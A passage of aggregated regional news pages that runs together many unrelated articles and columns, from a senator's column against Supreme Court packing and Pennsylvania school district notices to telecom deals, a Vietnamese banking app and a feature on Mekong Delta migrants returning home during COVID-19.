Commissions report notes that stable democracies have retained a strong commitment to judicial independence and have not tended to make such moves to alter their courts. It is clear that the United States is the greatest country on Earth because of our respect for the rule of law, not in spite of it. Earlier this year, I cosponsored a Senate resolution that would fix the number of Supreme Court Justices at nine through the 28th Amendment to the Constitution. In light of this report, our resolution is more important than ever. Packing the Supreme Court would take an axe to the tradition of judicial independence in this country. As the report says, courts cannot serve as effective checks on government officials if their personnel can be altered by those same government officials. We cannot pack the Supreme Court. The president must put an end to this idea once and for all. Thank you for participating in the democratic process. I look forward to visiting with you again next week. Deb Fischer is a U.S. senator for Nebraska. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Cumberland Valley School District is considering hosting town hall meetings early next year that would serve as an interactive public forum, district officials announced this week. At a school board meeting Monday, board president Heather Dunn said the district is asking constituents to email suggested forum topics to school board members or to Superintendent David Christopher via the districts website, www.cvschools.org. Suggested topics could include anything (the public) might want to know about that the school board does, Dunn said. The districts consideration for town halls would be more of a public forum where we can have conversations with members of the public and be more interactive, Christopher said. The consideration appears to relate to ongoing occurrences at school board meetings public comments sessions involving residents addressing questions to the board. School directors usually dont respond to the publics questions during these meetings, which at times appears to frustrate, or even anger, some speakers. Details about potential town halls dates will follow, officials said. Also on Monday, Christopher reiterated that a school mask mandate remains in place in the district for now despite a Pennsylvania Supreme Court decision ruling last week that invalidated the states mandate for schools. Christopher previously sent out the information last week in a letter to district parents. Prior to the Department of Health mandate, the district implemented a mask requirement that would be mandated if Cumberland County saw high transmission of COVID-19. Since the county remains in high spread as defined by the Centers for Disease Control and Prevention, the districts mask mandate is still in effect. Dunn announced that the school board will revisit the districts current health and safety plan on Jan. 3, which could affect the districts standing mandate. In other news, the Cumberland Valley School Board approved an Act 1 budget resolution that indicates the district wont raise taxes beyond 3.4% for the upcoming 2022-23 fiscal year, the index set by the state Department of Education. The district last raised real estate taxes by 3% in 2020-21, meeting its full state index set for the current fiscal year running July 1, 2020, to June 30, 2021. As a result, a property owner assessed at a district average of $264,758 was charged an additional $81.02 in real estate taxes for this year. A 3.4% increase next year would increase the districts tax rate from its current levy of 10.533 mills to 10.912 mills. The school board is expected to conduct ongoing reviews of a 2022-23 district budget draft early next year before finalizing the years fiscal plan by June 30, 2022, the states deadline. Also on Monday, the CV school board authorized the purchase of about 800 Dell laptop devices for all building professional, administrative and administrative support staffs in an amount not to exceed $1.1 million from Global Data Consultants. The purchase is intended to maintain the districts current four-year life cycle. The school board also approved the purchase Monday of 800 Apple iPad devices and cases for next years district first-graders in an amount not to exceed $270,000 from Global Data Consultants IT Solutions. This purchase, combined with other devices currently leased by the district, will provide all K-4 students with a device. School directors also approved the purchase of 1,650 Dell Chromebook devices for all district fifth- and ninth-graders next year in an amount not to exceed $530,00 from Global Data IT Solutions. These devices, combined with other devices currently under district lease, will provide all district students in grades 5-12 with a device. All the device purchases approved by the school board Monday are being conducted for the district through a PEPPM bid cooperative and financed through federal Elementary and Secondary School Relief funding. The ESSR Fund was established in 2020 by the U.S. Department of Education to address the effects that COVID-19 had, and continues to have on schools at these levels nationwide. Love 1 Funny 0 Wow 0 Sad 0 Angry 0 With the official start of winter about a week away, local school districts have different interpretations on whether a day home from school due to inclement weather should be a day used for remote instruction. Below is a round-up of how each district plans to handle inclement weather make-up and flexible instruction days. In most cases, the Pennsylvania Department of Education has given each district approval for up to five flexible days that allow for some form of remote instruction. Big Spring Big Spring School District has four make-up days built into its calendar for 2021-22. Of the four, Feb. 21 and April 14 will be used for in-person instruction to compensate for two days of school closure due to Hurricane Ida, Superintendent Kevin Roberts said. That leaves April 18 and June 10 as make-up days. The intent is to use flexible instruction days for any weather-related school cancellations, Roberts said. Since middle school and high school students have the ability to take a device home every day, they should have no problem with switching to remote instruction at home, he said. The plan is to closely monitor the weather so that elementary school staff has enough notice to send devices that are normally kept in the building home with their students to enable remote instruction, Roberts said. Those students would return their devices to school after the weather clears. Carlisle Carlisle Area School District has four make-up days built into its calendar for 2021-22. The district closed school for one day due to Hurricane Ida. Since then, Carlisle has filed a request with the Education Department asking it to count that day as an emergency weather day so that the district does not have to use one of its four make-up days, Superintendent Christina Spielbauer said. The plan is to handle each inclement weather day on a case-by-case basis, she said. Depending on the circumstances, the day away from school could be: A normal snow day off A flexible instructional day where remote lessons are asynchronous that is, pre-recorded and available for students to access on whatever schedule is convenient for them or their families. A flexible instructional day where remote lessons are synchronous delivered in real-time by way of some online platform. The type of day off would depend on the scope of the weather event, Spielbauer said. In the past, the district has weathered winter storms that have impacted bus transportation for multiple days. Cumberland Valley Cumberland Valley School District detailed its plan for inclement weather days in a slide presentation it sent out recently to local families. Instead of a closure day that must be made up at a later date, the district will use flexible instruction days for weather closures this year. As much as possible, those days will be called the night before an expected closure. CV will use each flexible instruction day as an asynchronous remote instruction day for students with staff members on call to support student needs. This would allow students to schedule snow day activities while completing assignments at their own pace that count as a required school day. Unlike last year, we have two-hour delays and early dismissals available to us should we need them, Superintendent David Christopher wrote in a message to families. However, we continue to struggle with day-to-day bus staffing and securing substitute teachers, so there remains a possibility, based on staffing, that we would opt to use a Flexible Instruction Day instead of a two-hour delay day or planned early dismissals. All decisions we make will be based on our current ability to ensure safe transport both to and from school for all of our students. We will work to communicate our plans as early as possible while still making an accurate and safe decision, Christopher wrote. We will also, to the best of our abilities, strive to stick with that decision so that our families are not making last minute changes to schedules, which we know are difficult. Mechanicsburg Mechanicsburg Area School District plans to use April 13 as an in-person instructional day to make up for the Sept. 1 closure due to Hurricane Ida. If the district has a second closure day, it will use June 10 as an in-person make-up day. If there is a third closure day, it will use April 14 as an in-person make-up day. The plan is to use flexible instruction days for any additional school closures. This would involve students engaging in remote learning on the inclement weather day. Buildings will communicate details as necessary to families closer to the actual weather event. South Middleton South Middleton School District has three make-up days built into its 2021-22 calendar. March 18 will be used for in-person instruction to compensate for the school closure on Sept. 1 due to Hurricane Ida. That leaves March 22 and April 18. There are no plans to use flexible instruction days when school is called off, Superintendent James Estep said. Instead, any additional make-up days will be added to the end of the academic year. Email Joseph Cress at jcress@cumberlink.com. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Want to see more like this? Get our local education coverage delivered directly to your inbox. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. While bus safety is the primary factor, many variables go into the decision to close schools due to inclement weather. Recently, Cumberland Valley School District outlined the criteria in a slide presentation sent to local families. The variables weighed by Cumberland Valley are common considerations among school districts in general. Early morning travel conditions are important for families using child care services and for bus drivers on their way in to pick up a vehicle for the day. Travel conditions also need to be favorable not only for faculty and staff, but for student drivers enrolled at the local high school. Before any decision is made, administrators must evaluate the condition of district-owned driveways, parking lots and pedestrian walkways. They also factor in how well the systems within each building are functioning the day of a weather event. Other considerations include: The amount of pre-treatment and anti-skid material applied to municipal streets and roads. The schedule of state and local plow trucks spreading pre-treatment and anti-skid material. Parent and staff notification timelines The impact on food service department operations. Superintendents within the region define extreme cold as between minus 10 to minus 15 degrees Fahrenheit with wind chill factors of an additional minus 5 to 10 degrees Fahrenheit. These temperatures can create unsafe conditions for students, especially at bus stops, the presentation reads. Temperatures ... this low can also cause mechanical and transportation related issues which can increase the risk of student and staff exposure to unsafe conditions. School districts draw information from a number of resources before making a decision. Those resources include: Local police and municipal road masters County emergency management experts School bus contractors and bus drivers School administrators at buildings or surveying road conditions PennDOT Weather services Superintendents in neighboring district Local media forecasts Email Joseph Cress at jcress@cumberlink.com. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Want to see more like this? Get our local education coverage delivered directly to your inbox. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. HAMBURG, Pa. Four people were killed Tuesday night in two related crashes on an eastern Pennsylvania interstate, state police said. The first crash happened around 8:30 p.m. when a 69-year-old Georgia woman who was driving an empty school bus failed to stop in a construction zone on Interstate 78 near Hamburg, Berks County, and slammed into the back of a sedan, killing the 20-year-old driver, authorities said. The bus then went over the top of the sedan and rear-ended an SUV, killing the front-seat passenger, police said. The bus was new and was being driven to Canada for delivery, police said. About two hours later, the 64-year-old driver of a tractor trailer that was being detoured off I-78 because of the earlier crash failed to slow down for stopped traffic and rear-ended a van, causing a chain-reaction crash involving three other vehicles. Killed were a 24-year-old woman from Reading who was riding in the back seat of a sedan, and a 54-year-old man from Williamsport who was driving an SUV, police said. The names of the victims were not immediately released. No one had been charged as of Wednesday morning as police continued to investigate. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 How well do you know the Bill of Rights? Do you maybe remember only a few of the 10 First Amendment, speech and religion; Second Amendment, right to bear arms; Fifth Amendment, dont have to incriminate yourself but youre a little fuzzy remembering the other seven? Farmington homeschooled student Grace Troup, fifth grade, came up with an idea to artistically depict the 10 Amendments in the Bill of Rights, just in time for Bill of Rights Day today. Her excellent concept even won a poster contest hosted by the U.S. Courts of the Western District of Missouri. Federal Courts around the Seventh and Eighth Judicial Circuits hosted a live webinar for more than 100 participants on the evening of Dec 1. During the webinar, U.S. District Judge Brian Wimes of the Western District of Missouri gave a chat and Q&A session about the Bill of Rights, which was followed by the announcement of the grand prize winners of the second annual student essay and poster contest. Students in grades 3-12 from Arkansas, Illinois, Indiana, Iowa, Minnesota, Missouri, Nebraska, North Dakota, South Dakota, and Wisconsin were encouraged to submit art and essays on the importance of the Bill of Rights, and 300 entries were received from around the two circuits. Grace, who is almost 11, won the 3rd-5th grade category for art with her poster that pictorially explains each of the Constitutions first 10 Amendments. The 7 for the Seventh Amendment guaranteeing a trial by jury is decorated with a judge at the top of the numbers shape, and six rows of a diverse jury partitioning off the base of the number, the word freedom highlighted for emphasis next to it. The 4 for the Fourth Amendment preventing unreasonable search and seizure is decorated with a judge, a detective with a magnifying glass, binoculars and a search warrant. Grace said she and her mother, Kristen, researched each amendment in the Bill of Rights so she could figure out how to depict them in each hollowed-out number. It was complicated, she said. But I think its interesting, these are how laws are made. I learned a lot too while we were doing it, Kristen said. Especially with the 9th and 10th (Amendments) because I didn't know certain rights are protected that you probably dont even realize were protected, we take them for granted, like travel. You know, you think about countries like North Korea and China, and theyre not traveling anywhere if theyre not allowed to travel. We just pick up and go when we want. Kristen said she homeschools Grace and two of her younger siblings as part of the south St. Louis County group SHARE -- St. Louis Homeschooling Activities, Resources and Encouragement. Graces youngest two siblings arent homeschooled yet, they are 1 and 3. SHARES sends out weekly emails if there's any kind of competitions or events or anything to try to get homeschool kids together, she said. They sent out the Judicial Learning Education Center email that they were having this contest. We've competed at a few others and done pretty well, so I decided to do a unit study on the Bill of Rights, and there we have it. Grace worked for weeks on the poster, researching the amendments, choosing how to depict each right, watching art videos on the Art for Kids Hub channel on YouTube to help her execute the drawings just right. But the channel only went so far in helping her figure out how to draw, well certain things. This one, she said, pointing to the noose, electric chair, guillotine and stockade depicted inside the number shape for the Eighth Amendment the prohibition of cruel and unusual punishment. Like, Art Hub for Kids didn't have most of this stuff. So I had to go on different websites with my mom. I'm like, Oh, wow. They use a lot of different stuff on here! Kristen chuckled, grimacing. Yeah, we had to research a lot because we didn't quite know what cruel and unusual punishment was, as we were learning about it, she said. We didn't realize some of the, like, ways that people could be punished Disturbing stuff! marveled Grace. Yeah, but thats why the amendments important. When asked which amendment might have been her favorite to draw, Grace pointed to the Fifth Amendment trial by a jury, no self-incrimination, no double jeopardy. She had a great time drawing the prisoner, Kristen said, referring to the orange-striped-pajamas-clad prisoner with clenched teeth and balled-up fists. As for her favorite amendment, Grace said it was the First Amendment. Freedom of religion, assembly and press, because people can believe in what they want, she said. But I think it's more important to know what you believe in, instead of being told what you can believe in. Sarah Haas is the assistant editor for the Daily Journal. She can be reached at 573-518-3617 or at shaas@dailyjournalonline.com. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Scorsese has a long history with NYUs film program. As a student, he made his first short films there, including 1967s The Big Shave, a six-minute Vietnam War allegory in which a young man shaves his face until its a bloody mess. Scorsese earned his masters at NYU in 1968 and continued after teaching undergraduate filmmaking. The school also gave him an honorary degree in 1992, and Scorsese currently sits on Tischs Deans Council. Virtual production is a fast-evolving mode of moviemaking that endeavors to immerse filmmakers in a real-time digital sandbox by using technologies like game-engine software, motion capture and augmented or virtual reality. It puts actors and filmmakers into a soundstage environment where digital meets physical. While such effects are more closely associated with more spectacle-driven filmmakers, Scorsese used some of its tools in the de-aging process in The Irishman. He says virtual production represents a quantum leap forward. Eventually we had success. With these things you always want them to work faster and be more extensive and there were frustrations along the way, but the fact is that we were able to really close that gap significantly and it is reflected in the kinds of admissions were seeing in the hospital now, for COVID, said Bell, who also went into the community to support the COVID shots. In the early days, there was heavily over-representation by black and brown communities, and were not seeing that anymore. We still admit different demographics and age groups but were not seeing UVa being driven by those representative communities. They have relatively high vaccination rates, now, he said. When the first shots became available, there was high hope the vaccine would change the pandemic game, and it did. However, mutant viral variants coupled with viral and virulent politics has muddled the progress. The combination of the variants and vaccine disinformation, which has been its own pandemic, has put us in a spot where we have some pockets of the country and the commonwealth that have very good protection and some that are vulnerable to the virus, Bell said. Rivanna, an imaging-based medical technologies company in Albemarle County, is investing $260,000 to expand and renovate its facility. Co-founder and Chief Executive Officer Will Mauldin said the community is seen as a key stakeholder in the companys success, which is one of the reasons it was named after the Rivanna River. Its our mission to serve health care providers and patients with new innovative medical technology, but also to serve the community by contributing in a positive way to a vibrant economy and unparalleled employee experience with a growing number of high quality jobs, Mauldin said at an announcement event outside the companys facility on Hunters Way. Earlier this year, the company was awarded a federal government contract with Biomedical Advanced Research and Development Authority, an agency within the U.S. Department of Health and Human Services, for the design and development of a computer-aided 3D fracture detection and diagnosis product called Accuro XV. BARDA will provide $11.6 million to Rivanna over two years with options for additional funding to support further development up to $65 million. This feels familiar. Russia was, after all, the national adversary of my youth. My dad was not particularly easy to perturb, but I clearly recall his anxious face one October afternoon in 1962 as the United States and Russia in the guise of the Soviet Union squared off over the emplacement of missiles in Cuba and arguably made their nearest advance ever to the brink of nuclear war. For years afterward Russia was the enemy. Our schools held duck-and-cover drills and offered classes on how to provision a fallout shelter. We learned ways to protect our families from blast and radiation it involved sandbags. Anti-Russia rhetoric became part of the curriculum. The Soviet Union collapsed in 1991. But after 30 years in the wilderness Russia is back, demanding and receiving the worlds attention by threatening to invade the sovereign nation of Ukraine with 175,000 troops. It turns out that Russia is still the enemy. The invasion of one of our allies is an act of war, and the Biden administration promises strong measures in response. But it also indicates that it will not commit American troops to save Ukraine. But what about saving Latvia, Lithuania, Estonia or other former Soviet states that Vladimir Putin would love to reacquire? Our best hope is that Putin is staging pure political theater, threatening to invade Ukraine in order to enhance his standing and political leverage abroad and at home. Besides, its simply in the nature of insecure strongmen to bluster and strut right up to the brink. Its a dangerous game. Usually its hard to tell precisely where the brink is. Quality journalism doesn't happen without your help Support local news coverage and the people who report it by subscribing to the Corvallis Gazette-Times. Whatever his intentions, I suspect that Putin has an ulterior motive, as well, or, at least, an interest in a collateral benefit from this crisis: the reelection of Donald Trump. Republicans are eager to picture President Joe Biden as a doddering old fool without the courage or competence to confront a wily player like Putin. A recent New York Post headline is representative: Weak Joe Biden No Match for Vladimir Putin. The flip side of this unproven proposition is that Putin would not dare to threaten Ukraine if we had a tough, unyielding president in place, a man such as Donald Trump, for example. But Americans should be leery of this idea. Clearly Trump was Putins preferred candidate in 2016. And why not? Putin recognizes a compliant mark when he sees one. Even after considerable Russian meddling in our election, Trump took Putins side in Helsinki over the evidence from his own intelligence agencies. And if you doubt that the Trump campaign knew that it had a friend in Putin and vice versa you clearly havent read the 448-page Mueller report. I have, and nothing could be plainer. If anything, Putin has a greater interest in a Trump presidency now than in 2016, even over a Biden administration that appears to be reluctant to use force to stop the invasion of Ukraine. An article by Anne Applebaum in the current Atlantic is illuminating. In The Autocrats are Winning, Applebaum argues that democracy is in a losing battle with autocrats such as Putin, Xi, Orban, Maduro, Assad, Lukashenko, Mohammed bin Salman and Erdogan. She calls these men Autocracy Inc., a club of despots bonded together by a common desire to preserve and enhance their personal power and wealth. Beyond the acquisition of wealth and power, Autocracy Inc. isnt interested in ideology. Nor are its members concerned about their international reputations. But every new member increases the clubs strength and legitimacy. Putin recognizes a fellow autocrat in Trump and to bring the United States the worlds strongest proponent of democratic governance into the fold would be worth more than reacquiring Ukraine. And Donald Trump would fit right in. When Kennedy and Khrushchev squared off during the Cuban Missile Crisis, ideology was at stake, and the two leaders were on opposite sides. If the Crisis had tipped over the brink into the nuclear abyss, its possible that some version of democracy might have survived. But once autocracy wins, were unlikely to ever see democracy again. John M. Crisp, an op-ed columnist for Tribune News Service, lives in Georgetown, Texas, and can be reached at jcrispcolumns@gmail.com. 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Islands Tuvalu Uganda, Republic of Ukraine United Arab Emirates United Kingdom of Great Britain & N. Ireland Uruguay, Eastern Republic of Uzbekistan Vanuatu Venezuela, Bolivarian Republic of Viet Nam, Socialist Republic of Wallis and Futuna Islands Western Sahara Yemen Zambia, Republic of Zimbabwe Zain Jordan, part of Zain Telecom Group, announced a 15-year agreement to sell and lease back the passive physical infrastructure of its 2,607 towers in Jordan to TASC Towers for USD 88 million. According to a press release from the mobile voice and data services operator in the MENA region, the transaction includes an additional 223 sites transferring to TASC Towers on a managed basis. Zain Group holds a 25% minority stake in TASC Towers. The deal also includes TASC Towers managing Zain Jordans supporting facilities such as power generators, fuel tanks, and protection kiosks as well as a build-to-suit agreement allowing for a minimum of 525 network sites to be built over the next five years. Zain Jordan will retain its active infrastructure, including wireless communication antennas, intelligent software, and intellectual property with respect to managing its telecom network. TASC Towers, headquartered in Dubai, is an international tower operator focused on sale and leaseback, build-to-suit, and growth capital investments in the MENEASA market (the Middle East, North & East Africa, and South Asia). Bader Al-Kharafi, Zain Vice-Chairman of Group CEO said: This transaction is consistent with Zains 4Sight strategy to create significant value for shareholders through the unlocking of capital and optimization of infrastructure assets which will flourish under the management of an independent team. As a strategic shareholder, we are committed to supporting TASC Towers regional expansion in making it a leading operator of telecom infrastructure. Al Kharafi added, The deal gives Zain Jordan greater flexibility to invest in network upgrades and cutting-edge ICT technologies to meet the ever-increasing demand for reliable broadband access and data consumption. It will also enhance operational efficiencies and enable a laser focus on the operators core business and customers to offer them the best mobile and data experience in the Kingdom of Jordan. This transaction follows similar pioneering deals with respect to 1,620 towers in Zain Kuwait and a recent announcement in Zain Saudi Arabia to sell its 8,100 tower infrastructure. Ooredoo Qatar has selected i2C Incs agile payments technology to help it launch modern payment solutions for its users in Qatar, including digital-first prepaid cards and mobile wallets. Through this partnership, i2c will enable Ooredoo to issue physical and digital Visa prepaid cards, allowing users to access tap-to-pay or QR-powered payments at point of sale, among other contactless payment functionalities. Our mission is to enrich the lives of our customers by providing seamless connectivity and enhanced digital experiences, said Sheikh Mohammed bin Abdulla Al Thani, CEO at Ooredoo. Were proud to partner with i2c to achieve this vision, and to have access to their deep domain expertise within the global payments landscape, as we enable next-generation payment experiences in Qatar. Amir Wain, founder and CEO of i2c, added: Our single-code platform was designed to remove the friction in everyday payments, with faster time to market and unprecedented reliability, and were excited to bring these elements to the Ooredoo partnership. As images of the devastation left by a series of tornados continue to circulate, a group of Geneva County volunteers is hoping to collect supplies for the hard-hit town of Mayfield, Kentucky. The whole town has pretty much been wiped out by the tornado, Don White, one of the local organizers, said. Their water tank has been knocked over and demolished and just the whole town is gone and homes and neighborhoods its just a sad situation there. A trailer for supply donations is located at Southern Storage of Slocomb, a portable storage building lot located on State Highway 52 just east of downtown Slocomb. The trailer will leave for Kentucky Friday morning. Southern Storages corporate office is located in Mayfield, Kentucky, where homes and businesses were demolished by a tornado. The owners of the local Southern Storage turned to White, a retired Slocomb police chief and current city council member, to help organize and get the word out about the supply drive. White turned to Wiregrass 2-1-1 director David Duke for help. White said as devastating as news images are, they dont always reflect the true pain people are feeling following a natural disaster. One CIA memo describes how Oswald phoned the Soviet embassy while in Mexico City to ask for a visa to visit the Soviet Union. He also visited the Cuban embassy, apparently interested in a travel visa that would permit him to visit Cuba and wait there for a Soviet visa. On Oct. 3, more than one month before the assassination, he drove back into the United States through a crossing point at the Texas border. Another memo, dated the day after Kennedy's assassination, says that according to an intercepted phone call in Mexico City, Oswald communicated with a KGB officer while at the Soviet embassy that September. After Kennedy was killed, Mexican authorities arrested a Mexican employee of the Cuban embassy with whom Oswald had communicated, and she said Oswald had professed to be a Communist and an admirer of Castro, according to the memo. That's a reference to Fidel Castro, the Cuban leader at the time and an adversary of the Kennedy White House. One CIA document marked Secret Eyes Only details what it says were U.S. government plots to assassinate Castro, including a 1960 scheme that involved the use of the criminal underworld with contacts inside Cuba. I am very pleased to be leading in this Senate race, Brooks said. The lead is, in large part, because President Trumps endorsement confirms that there is only one proven MAGA conservative in this race and that proven MAGA conservative is Mo Brooks. Brooks campaign chairman Stan McDonald also sent a statement: Mo Brooks is a conservative fighterthats why President Trump endorsed him, why the conservative grassroots are with him, and as this poll shows, why hes going to win this race. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} When the respondents were asked to pick between Britt or Brooks, 38.8% chose Britt, 36.6% chose Brooks, and 24.6% were undecided. Some questions in the survey were intended to measure Trumps influence in the race. When asked to choose between a candidate who backs traditional, mainstream Republican policies or Trumps issue agenda, 64.2% chose the Trump agenda, while 26.4% chose the traditional GOP agenda. When asked whether they would vote for Brooks because of the Trump endorsement, 19% said they would, 38% said they would keep an open mind, and 33% said the endorsement had no impact. The quantity of Cambodian rice, cashew nuts, maize, green beans and soya beans imported by Vietnam in the first 11 months of this year rose 3-4 times year-on-year. Cambodia exported 912,000 tons of cashew nuts, over 134,000 tons of maize, some 26,000 tons of green beans, 66,200 tons of soya beans, and more than 26 million tons of pepper to Vietnam, according to the Vietnam Trade Office in Cambodia. It specified that the neighboring country exported 3.1 million tons of paddy rice to Vietnam in the 11-month period, an increase of more than over 75 percent year-on-year. Cambodia sold more than 622,000 tons of fresh manioc, or 70 percent of its total exported volume, to Vietnam between January and November. The trade office said that Cambodia exported a total of over 7.1 million tons of agricultural products to 68 markets, including Vietnam, in the first 11 months of this year, up 93.4 percent on-year. More Cambodian farm produce was being bought by Vietnam because of their price and quality advantages, Vietnamese agricultural scientist Vo Toan Xuan said, noting that Cambodia has a lot of fertile land and farmers do not use much chemical pesticides. Recently, several Vietnamese companies and residents have rented agricultural land in Cambodia to grow such crops as maniac, maize and sugarcane, he added. Apple just announced App Store Awards 2021, with the MBBank app the only banking application in Vietnam among the Top Apps of 2021 on iOS. While the presence of international brands like Facebook, YouTube, TikTok, and Gmail does not come as a surprise, the Made in Vietnam MBBank app has piqued people's interest. What is so intriguing about this app? Multi-compartment wallet MB is the first Vietnamese bank to provide consumers several account numbers akin to a wallet with many compartments via the MBBank app. App users may quickly create a personalized account number, a phone number account, a date of birth account, or a quartet account, based on their preference. Notably, the MBBank app is the only financial application to appear in Vietnam's Top Apps of 2021 on iOS. Customers may now make transfers with their unique account numbers, which are easy to remember and convenient, rather than memorizing a long series of digits (like the old 13-number accounts). This successful approach has helped reduce consumer uncertainty while transferring money. Getting a 2-in-1 deal via VietQR code MB quickly added a quick payment mechanism using the VietQR code into the MBBank application. Payment transactions are completed in a fraction of a second using the VietQR code, eliminating the need to input payee data like account numbers, account names, beneficiary banks, etc., as with traditional money transfers. Users may also customize their mascot and color during VietQR payments. Handy for business owners, shippers, and customers The QR payment feature can be especially useful for small- and medium-sized enterprise owners, delivery shippers, and consumers. Customers or shippers just need to scan the QR code to immediately process the transfer order. Sellers will also receive the funds quickly and without incurring any further fees. MB has increased the QR code payment limit to VND500 million ($21,740), making this service extremely convenient for both buyers and sellers. With a digital mindset in its DNA, MB has recently enhanced the capability of this cashless payment method, allowing business owners to actively settle with VietQR in addition to providing a smooth payment experience. Specifically, business owners may use the MBBank app to generate a transaction QR code with the due amount of the goods, product content, and beneficiary account, making inventory and settlement easier. Furthermore, the MBBank app also incorporates personal computers, permitting customers to easily calculate while shopping. 'Fear of losing money? MB will compensate' Customers were drawn to the slogan Fear of losing money? MB will compensate that appeared recently on the MBBank app. Particularly, MB is the first bank in Vietnam to provide clients up to VND100 million in compensation in case they fall victim to fraud while making online payments with an MB account or international payment card. Those who spend more than VND10 million on debit and foreign credit cards between Nov. 4, 2021 and Nov. 4, 2022 will be alerted to activate this special protection mode for a one-year period. MB is the first and only bank offering compensation to customers in case of fraudulent online payments. Understanding user psychology and pioneering exceptional financial product experiences, particularly on digital platforms, is the path MB defined to lead digitalization. MB continues to assert its superior quality and advanced technology as the sole banking app on the list of Top Apps of 2021 on the iOS operating system in Vietnam, thereby contributing to a cashless society. A large crowd of migrants gather at a checkpoint near HCMC's Suoi Tien Park on the Hanoi Highway to return to their hometowns, Aug. 2021. Photo by VnExpress/Ha An In eight years Bich and her family migrated twice from the Mekong Delta to improve their livelihood but ended up returning to their hometown due to Covid-19. At 5 a.m. on September 30, Nguyen Thi Bich, 27, took her motorbike out of the apartment she rented with her parents in Thu Thua District in the southern Long An Province. She had packed all her belongings loaded them on her motorcycle, got on it with her sons, eight and two, began the 180-km back to her hometown. She was eighth months pregnant. Bich is from Vinh Truong, a small islet in the middle of the Hau River in An Giang Province. Her family has always been impoverished. Her father used to raise ducks and her mother used to sell sweet potatoes for a living. Bich and her four children in An Giang, October 2021. Photo by VnExpress/Hoang Nam A few years later she married a local man and the couple moved to Binh Duong Province hoping to find steady jobs that could change their lives. She went to work at a textile firm, and he became a bricklayer in Long An. Last year, unable to take care of the two children and pay the familys monthly bills, she and her husband decided to return home from Binh Duong. In An Giang, they borrowed some money from his mother and acquaintances, and used old corrugated boards to build a tiny house on a piece of land given to her by her uncle. Bich became pregnant with her fourth child early this year. Hoping to earn some more money to prepare for the birth of the child, she took a bus to Long An with her two sons, leaving another son at home with his father. She stayed in an acquaintance's house and sold lottery tickets. Bich bought a motorbike for VND3.5 million ($152) and paid daily installments. The motorbike made selling lottery tickets easier and helped her buy cucumbers and gourds to resell to neighbors for some extra cash. It took her around two months to pay for the motorbike, and not long afterward, in May, the fourth Covid outbreak hit. For four months Bich, her two children and parents and the infant inside her lived on rice, canned fish and soy sauce provided by kind-hearted people. She was afraid her child would be born in misery, and decided to risk going back to her hometown by motorbike with her children. Neighbors in Long An, though also poor, gave her VND400,000 for their journey home. Bich and the two children had no idea the trip would take much longer than they thought. On the first day of their journey, they were stuck at a Covid checkpoint in Long An's Tan Thanh District because An Giang Province did not allow locals back in amid the raging outbreak. Bichs and hundreds of other families were temporarily placed in an isolation area. Seeing the pregnant woman with two young children, others gave them some of their milk and bread every day. After 10 days she was taken to An Phu District in An Giang for another three days of quarantine before being allowed to go home. Exactly two days after her return the tiny house on the Hau River welcomed a new member. One early morning in November the commune people's committee chairman came to the house to record population data as the pandemic had forced people to leave cities and return to their hometowns. Nguyen Thanh Viet, the chairman, said Vinh Tuong is a poor commune with only the quiet AL - Ehsam mosque belonging to the Cham people and tiny houses made of wood and metal roofs and a few construction material dealers, and there are no other businesses. From growing paddy, a family of four cannot even earn VND4 million a month, and so around 2,700 people had left the commune for Long An, Ho Chi Minh City and other eastern provinces in the past few years, he said. Following the Covid outbreak, nearly 500 of them returned home with shattered dreams, he added. Hau in her collapsed hut in An Giang, October 2021. Photo by VnExpress/Hoang Nam Not far from Bich's house, in a ramshackle hut, live Bui Thi Hau, her husband and two sons. Hau had first come to the place from the central Thanh Hoa Province with hopes and dreams. Like Bich's family, she too was impoverished. In 2018, after years of doing whatever jobs she could in the poor commune, she moved to Binh Duong Province with her husband and sons to live with her sister-in-law. After working as a seamstress for nearly a year, she got pregnant and gave birth to a girl. Earlier this year, Hau's husband planned to bring their family back to An Giang, so he returned to the province and repaired their hut, hoping to find another livelihood to support his family after months of being jobless due to the pandemic. But the fourth Covid outbreak appeared, preventing him from returning to Binh Duong to pick them up. His wife and children had been stuck for five months and, like so many people around the country then, survived on food given by kind-hearted locals. Finally, in late September, a car driver, who felt sympathy after seeing the woman and three children struggle to survive the outbreak, took them and dropped them off near Long An Province, as he could not pass Covid checkpoints to travel further. They walked several kilometers to a Covid checkpoint. The mother and children were stuck at the checkpoint with hundreds of others. Hau got some old carton boxes for her children to lie on. They were taken to An Giang after a few days and put in a quarantine facility. Meanwhile, the hut her husband had repaired collapsed during a storm and he had put up a tent to protect their belongings. So after the quarantine Hau and the children had no home to return to, and had to stay at a relatives house nearby. Local authorities gave the family rice, soy sauce and instant noodles, and Hau's husband went fishing every day to try and improve their meals. The Mekong River divides into the Tien and Hau after flowing from Cambodia into Vietnam, where it has sustained lives for generations in the Mekong Delta. Over eons the alluvium it brought even created an islet in the Hau River, Vinh Truong islet. The islet is now surrounded by a dike to prevent flooding so that three crops could be grown annually. In recent years, the alluvium of the Hau River is no longer enough to feed a family of four or five, and people leaving the commune to look for a better life elsewhere is therefore only a matter of time. Data from the Vietnam Chamber of Commerce and Industry in Can Tho shows that some 1.3 million people have migrated from the Mekong Delta in the last 10 years. An Giang accounts for almost a third. During the fourth and most virulent Covid outbreak, around 400,000 people had returned "reluctantly" to the delta from places like HCMC and Long An Province by mid-October. Along with Ca Mau, An Giang had the highest number of returnees at around 60,000. One afternoon in late November Hau sat in her house and recalled what happened during the journey back home. She is the youngest of her parents four children, and hails from a mountainous district in Thanh Hoa Province, 1,500 km from Vinh Truong Commune. Since arriving in the south at 14, she has only returned home once in the last 14 years. All she has now are her three children and a future filled with uncertainty. She feels like she is trapped in "the web of life," and used to have no idea if she should return to Thanh Hoa or An Giang amid the Covid tsunami. "I have not paid my VND2 million monthly rent. They just called me and asked me. I do not want them to think I am trying to avoid paying, but honestly I do not know from where I can get the money to pay". As Hong changed her one-year-old daughter's diaper, her mother, who has severe Alzheimers, sat on the floor, having wet her pants. It is not the first time that such situations have had the 32-year-old woman at her wits end. One weekend last 